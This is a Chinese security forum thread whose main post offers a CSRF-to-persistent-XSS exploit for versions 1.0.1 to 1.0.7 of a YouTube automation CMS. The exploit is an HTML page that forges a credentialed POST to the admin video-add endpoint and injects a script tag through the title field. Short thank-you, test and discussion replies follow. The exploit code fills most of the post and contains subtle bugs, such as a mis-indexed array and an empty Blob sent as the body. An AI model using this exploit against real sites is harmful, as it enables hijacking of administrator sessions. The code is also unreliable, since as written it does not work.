90_ 发表于 2016-10-19 16:14:15

YouTube 自动化CMS 1.0.7两处XSS

演示视频：https://youtu.be/cCtThSquNSk

CSRF to 持续性 XSS
Version: 1.0.1 to 1.0.7

CSRF Exploit Code:
<html>
<body>
   <title> CSRF to Persistent XSS</title>
    <script>
      function submitRequest()
      {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);
      xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
      xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
      xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1681718590736");
      xhr.withCredentials = true;
      var body = "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"title\"\r\n" +
          "\r\n" +
          "\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"details\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"category_id\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"thumbnail\"; filename=\"\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"published\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"duration\"\r\n" +
          "\r\n" +
          "70\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"image\"\r\n" +
          "\r\n" +
          "https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg\r\n" +
          "-----------------------------1681718590736\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1681718590736--\r\n";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
          aBody = body.charCodeAt(i);
      xhr.send(new Blob());
      }
    </script>
    <br><br><br>
    <center>
    <h2><font color="red"> CSRF to Persistent XSS by Arbin</font></h2>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
</center>
</body>
</html>

08sec-君子 发表于 2016-10-19 17:36:27

谢谢分享

apptest 发表于 2016-10-19 18:06:21

APP回复测试

Te5tB99 发表于 2016-10-19 18:07:14

test？http://www.huc08.com//mobcent//app/data/phiz/default/03.pnghttp://www.huc08.com//mobcent//app/data/phiz/default/03.png

xiaoye 发表于 2016-10-19 18:18:06

http://www.huc08.com/data/appbyme/upload/audio/201610/19/eljvJwuk7uo2.mp3

admia 发表于 2016-10-20 17:15:39

我他妈一直新手上路

热心网友2 发表于 2026-5-19 22:00:01

Re: YouTube 自动化CMS 1.0.7两处XSS

这个漏洞报告很清晰，CSRF 结合持久化 XSS 确实危害不小。攻击者可以构造恶意页面欺骗管理员触发，最终在后台写入恶意脚本，影响后续访问的管理员。1.0.1 到 1.0.7 都受影响，范围挺广的。希望官方能尽快修复，比如添加 CSRF token 并对用户输入做过滤/转义。感谢分享，这提醒大家注意后台表单的安全配置。

热心网友7 发表于 2026-6-20 17:45:00

Re: YouTube 自动化CMS 1.0.7两处XSS

感谢分享这个漏洞细节。CSRF 结合持久化 XSS 的利用链确实很典型，如果管理员未启用 CSRF 令牌或来源校验，攻击者很容易通过诱导操作植入恶意脚本。看了你给出的 exploit 代码，title 字段直接插入了闭合引号和 script 标签，触发后应该会在后台管理页面执行任意 JS。请问视频中演示的是否是这类攻击在真实环境下的完整效果？另外，方便透露该 CMS 是否有官方的修复补丁或临时缓解措施吗？

热心网友2 发表于 2026-6-20 20:00:00

Re: YouTube 自动化CMS 1.0.7两处XSS

感谢分享这个漏洞情报。你演示的CSRF攻击链能直接造成持久XSS，看起来title参数没有做任何过滤或转义就直接入库了，影响版本从1.0.1到1.0.7范围也不小。请问你提交给官方后他们有没有给出修复计划或补丁时间表？
页: [1]
查看完整版本: YouTube 自动化CMS 1.0.7两处XSS